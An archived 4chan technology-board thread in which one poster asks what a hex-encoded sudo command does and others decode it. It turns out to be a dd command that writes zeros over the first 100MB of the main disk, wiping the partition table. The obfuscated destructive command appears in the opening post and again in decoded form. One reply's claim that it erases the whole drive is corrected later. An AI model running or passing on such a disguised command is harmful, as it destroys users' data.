[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y ] [Home]
4chanarchives logo
Someone please explain how this command works: sudo $(echo
Images are sometimes not shown due to bandwidth/network limitations. Refreshing the page usually helps.

You are currently reading a thread in /g/ - Technology

Thread replies: 6
Thread images: 2
File: 1462310672767.jpg (3 KB, 120x125) Image search: [Google]
1462310672767.jpg
3 KB, 120x125
Someone please explain how this command works:

sudo $(echo "64642069663d2f6465762f7a65726f206f663d2f6465762f73646120636f756e743d3130302062733d314d0a" | xxd -r -p)
>>
hex
>>
File: Capture.png (13 KB, 649x529) Image search: [Google]
Capture.png
13 KB, 649x529
echo will output shit
| is a pipe, will chain shit
xxd is an utility that will do a hex dump
-r -p are arguments to xxd, will just take any hex, no info on lines spaces

so you a string "64642069663d2f6465762f7a65726f206f663d2f6465762f73646120636f756e743d3130302062733d314d0a" that gest send to xdd to decode from hex to ascii. once that is done echo will place it in front of sudo, allowing it to run with admin privileges on a linux system.

the string decodes to "dd if=/dev/zero of=/dev/sda count=100 bs=1M"

this will copy from dev/zero to dev/sda. dev/zero is literaly zero and sda is the first hard drive. so you will write zeros on the 1st drive from 1st to last byte essentially erasing it, partition table included.
>>
>>54742205
1) sudo asks for root access.
2) bash evalueates the following expression.
3) bash runs the code encapsulated in $(...).
3.1) bash runs
echo ...

3.2) bash pipes the result of the previous program to
xxd -r - p
.
3.3) xxd converts given string from hexadecimal back to normal text.
4) bash gets to run the encapsulated expression,
dd if=/dev/zero of=/dev/sda count=100 bs=1M
with root access.
5) your computer happily proceeds to write over every single bit on your main hard drive with zeroes.

Wasn't that hard you noob.
>>
>>54742446
Since count=100 wouldn't it just write over the first 100 bytes?
>>
>>54742549
First 100 blocks, and the specified block size is 1MB, so the first 100MB.
Thread replies: 6
Thread images: 2

banner
banner
[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y] [Home]

All trademarks and copyrights on this page are owned by their respective parties. Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
If a post contains personal/copyrighted/illegal content you can contact me at [email protected] with that post and thread number and it will be removed as soon as possible.
DMCA Content Takedown via dmca.com
All images are hosted on imgur.com, send takedown notices to them.
This is a 4chan archive - all of the content originated from them. If you need IP information for a Poster - you need to contact them. This website shows only archived content.